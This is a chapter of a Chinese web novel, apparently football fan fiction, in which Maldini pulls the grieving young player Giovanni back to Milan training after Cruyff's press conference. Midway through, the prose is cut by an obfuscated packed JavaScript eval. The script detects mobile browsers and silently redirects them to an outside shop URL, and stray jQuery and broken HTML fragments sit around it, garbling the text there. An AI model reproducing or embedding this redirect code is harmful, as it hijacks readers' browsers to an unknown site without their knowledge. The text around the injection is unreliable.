“观众朋友们，这里是意大利国家电视台从阿姆斯特丹为您发回的现场报道！荷兰传奇球星约翰·克鲁伊夫即将在此举行新闻发布会！”电视屏幕里，一位意大利记者手持话筒高声介绍，周围簇拥着不少同行。


    不久后，身穿正装的克鲁伊夫从侧门进入发布厅，室内的闪光灯立刻闪个不停，将男人的侧脸映照得忽明忽暗。


    荷兰人在主位坐下，嘴角轻轻勾起一个克制的弧度。“感谢各位拨冗前来，”他调整了一下话筒，目光平静地扫过全场，“今天我坐在这里，主要目的是澄清近期关于我个人的一些不实传闻。”


    “我，亨德里克·约翰内斯·克鲁伊夫，从未有过私生子。我已经委托律师，向最早刊登这条假消息的德国媒体发出了正式的停止侵权警告。”


    荷兰人语气平静地说道：“阿贾克斯马上就会在联盟杯中对战AC米兰，我可不希望到时候媒体把我们的胜利说成是对面进攻核心受到了场外因素干扰。”


    “米拉尼是一个勤勉且有天赋的球员，但意甲的战术体系不适配他的足球思维，我希望通过这场对决，他能够看清楚自己真正应该走向的道路。”


    关于发布会的画面到此为止，镜头切回了意大利的演播室。一位身穿西装的男性主播坐在镜头前，面带忧虑地评论道：


    “不过米拉尼自从上周突发疾病以来，已连续缺席俱乐部的三场比赛。本月16日米兰客场对阵阿贾克斯，不知这位小将能否赶上，据可靠情报，米拉尼至今仍未归队训练并非由于身体原因。”


    乔瓦尼坐在老宅的沙发上，面无表情地看着马尔蒂尼直接用遥控器关掉了电视。


    “保罗！”玛丽莎对儿子突然关电视的举动表示不满，但看了一眼乔瓦尼无精打采的样子，终究没多说什么，转身走进厨房去收拾午餐后的碗盘去了。


    马尔蒂尼刚刚进门不久，身上穿着米兰训练服，这个时间应该是球员们在米兰内洛的午休时间，可他却站在父母家的客厅里直视着乔瓦尼：


    “你打算什么时候归队训练？”


    乔瓦尼垂着眼，蜷在沙发上低声说道：“我身体还没完全恢复……”


    “你的身体早在出院的那天就已经好了，”马尔蒂尼直接打断他，语气不容置疑：“乔，跟我去米兰内洛。”


    坐在一旁的切萨雷看着乔瓦尼的样子，无奈地叹了口气。他们已经从长子那里得知，就在这个年轻人住院期间，带他走上足球之路的启蒙教练却因意外去世了。


    切萨雷一直对乔瓦尼那些仿佛与生俱来的战术直觉感到不解，如今听说他曾有这样一位教练，一切反倒说得通了。只是，这位恩师的离去，显然给乔瓦尼带来了沉重打击。


    他不愿意去训练，白天只是待在客厅里对着电视机发呆，晚上睡觉也要开着收音机。


    他仿佛突然无法忍受任何安静与沉默。马尔蒂尼夫妇心里清楚，战胜心理伤痛的最好办法绝不会是逃避，乔瓦尼早就该回到球队去了。可每每看到年轻人那茫然又悲伤的神色，他们就怎么也硬不起心来催促。


    此时，切萨雷见两人在客厅僵持，无奈地插话劝道：“保罗，再给他一天时间吧。明天我亲自送他去米兰内洛。”


    可马尔蒂尼却摇摇头，语气坚定地对父亲说道：“爸爸，现在我才是他的队长。”


    切萨雷被儿子毫不留情地噎了一句，只好耸耸肩，用开玩笑的语气说道：“乔，看见没？现在队里说话管用的那个马尔蒂尼，可是他。”


    乔瓦尼也没想到马尔蒂尼会顶撞自己的父亲，他抬眼看了看男人，对方却直接动手，拽着他的胳膊把人从沙发上拉起来，然后弯腰扛起就往外走。


    年轻人只挣扎了两下，便不再动弹，因为他发现这只会白费力气。


    “天啊！保罗！这太粗鲁了！”玛丽莎急忙从厨房跑出来，可长子已经扛着乔瓦尼走到了玄关。她只能抓起衣架上的外套追上去，披在乔瓦尼身上，“外套！保罗！乔还没穿外套呢！”


    于是，甚至来不及换衣服、穿鞋子的乔瓦尼，就这样被塞进了副驾驶座。年轻人穿着睡衣、裹着米兰运动外套，整个人缩在座椅里。


    马尔蒂尼先俯身替他系好安全带，才回到驾驶座发动汽车。“如果你想见克鲁伊夫先生，”他平稳地开口，“我们现在就可以去。”


    既然乔瓦尼身体无恙，马尔蒂尼便几乎能断定，目前时间线上的克鲁伊夫已放弃了立刻认亲的念头。既然如此，那么对于乔瓦尼而言，这位父亲即便缺失了与年轻人四年的朝夕相处，也绝无可能伤害自己的儿子。


    “事实上，克鲁伊夫先生三天前就专程来米兰内洛找过你。因为没见到人，他把我们的进攻批评了一通就走了。”


    “……但我不想见他。”乔瓦尼把头偏向车窗，低声嘟囔：“他不是我的约翰，我分得很清楚……”


    马尔蒂尼深吸一口气，说出了那句重复过无数次的话：“……那么，你的约翰会希望看到你现在这样吗？”


    乔瓦尼却自嘲地扯了扯嘴角：“说得好像他真能看见一样。”


    “他已经不在了，就像你对所有人说的那样，我的恩师‘去世’了。可其实我什么都没看见，就算你告诉我他长出翅膀变成天使我也只能选择相信——”他忽然刹住话头，沉默了几秒，嗓音低了下去，“……对不起，我不该冲你发脾气，我……”


    但马尔蒂尼只是腾出一只手，用力揉了揉年轻人的头发。


    “我只是……我只是……” 乔瓦尼轻轻闭上眼睛：“我只是不知道该怎么办了……”


    他不知道自己究竟得了什么病，也不知道为什么约翰偏偏可以救他……马尔蒂尼没办法为他解释这一切，因为这本身就不是能用科学解释的事情。


    他仿佛被困在一座没有出口的迷宫里。直到现在他才恍然意识到——约翰的离去，抽走了他迄今为止的生命中最为关键的那块积木。


    他之所以开始踢球，只是因为约翰要求他那样做。


    他之所以选择AC米兰，只是因为约翰不喜欢拥有德国三驾马车的国际米兰。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17137007|184144||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    /p>


    他所有的战术理念、跑动方式，乃至对足球的全部理解，都源自约翰·克鲁伊夫。


    然而，这样的一个人却消失了。


    “我不知道该怎么踢球了……保罗，我不知道该怎么办……”乔瓦尼用双手捂住自己的脸，声音哽咽，“对不起，保罗，我踢不了球了，我踢不了……”


    在一个红灯前，马尔蒂尼俯身，将副驾上沉默的年轻人轻轻揽进怀里，但他没有再说什么，因为他知道任何语言对于此时的乔瓦尼来说都是苍白无力的。


    他如今所能做的唯一一件事情，就是把这个年轻人带到球场。因为只要回到那片绿茵场，乔瓦尼就会明白——作为荷兰人约翰·克鲁伊夫亲手教出来的弟子，踢球已是他的一种本能。


    不管乔瓦尼是否愿意承认，他的思维模式与肌肉记忆都骗不了人，哪怕年轻人试图自我放逐，也无法真正踢出丑陋或平庸的足球——因为克鲁伊夫教给他的一切都会成为托住他的最后一张网，而这张网，只有在球场上才能把乔瓦尼弹回正轨。


    于是，在远离球场数日后，乔瓦尼再度踏上了米兰内洛的训练草皮，大家像往常一样和年轻人打招呼。


    主帅扎切罗尼照例将队员分为进攻与防守两组。乔瓦尼也如往常一样，站在了红黑军团正副队长的对面。


    他原以为科斯塔库塔会为他久未归队而生气，但米兰副队长只是绷紧全身，一次次试图夺走他脚下的球。


    多日的懈怠让乔瓦尼的动作有些滞涩，但是他发现，他的大脑正在不停运转以寻找解决办法；他的眼睛正在不断观察以寻找空间。


    他用两次突然变向晃过了科斯塔库塔。


    接着一拉一扣，轻巧地骗过阿比亚蒂，随即起脚——皮球划过一道弧线，精准地坠入球门远角。


    球网被冲击得向后拉扯、震颤，久久未平。


    乔瓦尼站在原地，一动不动地望着球门里那只静止的足球。


    眼泪毫无征兆地滚落下来。


    约翰，看看你干的好事。


    他在心里骂道。


    为什么偏偏要教我这么该死的、漂亮的、迷人的足球？


    科斯塔库塔见状叹了一口气，一把搂住乔瓦尼的脖子，把人摁在自己的肩膀上。


    “我爸爸突然离世的时候，我还在青年队踢球。我和他说过的最后一句话竟然是‘爸，你裤子破了一个洞’。”


    乔瓦尼静静地哭泣，只听科斯塔库塔继续说道： “乔，并非每次离别都有机会告别。”


    “……那你不遗憾吗？”年轻人的声音闷闷的。


    “遗憾，乔，我当然遗憾。” 科斯塔库塔立刻回答道，“但生活就是这样，塞满了来不及的事。我们能做的，就是带着所有的遗憾，继续往前走。”


    他顿了顿，语气平静但笃定：


    “就像是输球后必须想着下一场该怎么赢一样。现在，你唯一该做的，就是带着你教练塞进你头脑里的一切，走下去。”


    “如果你想他，那就踢球吧。”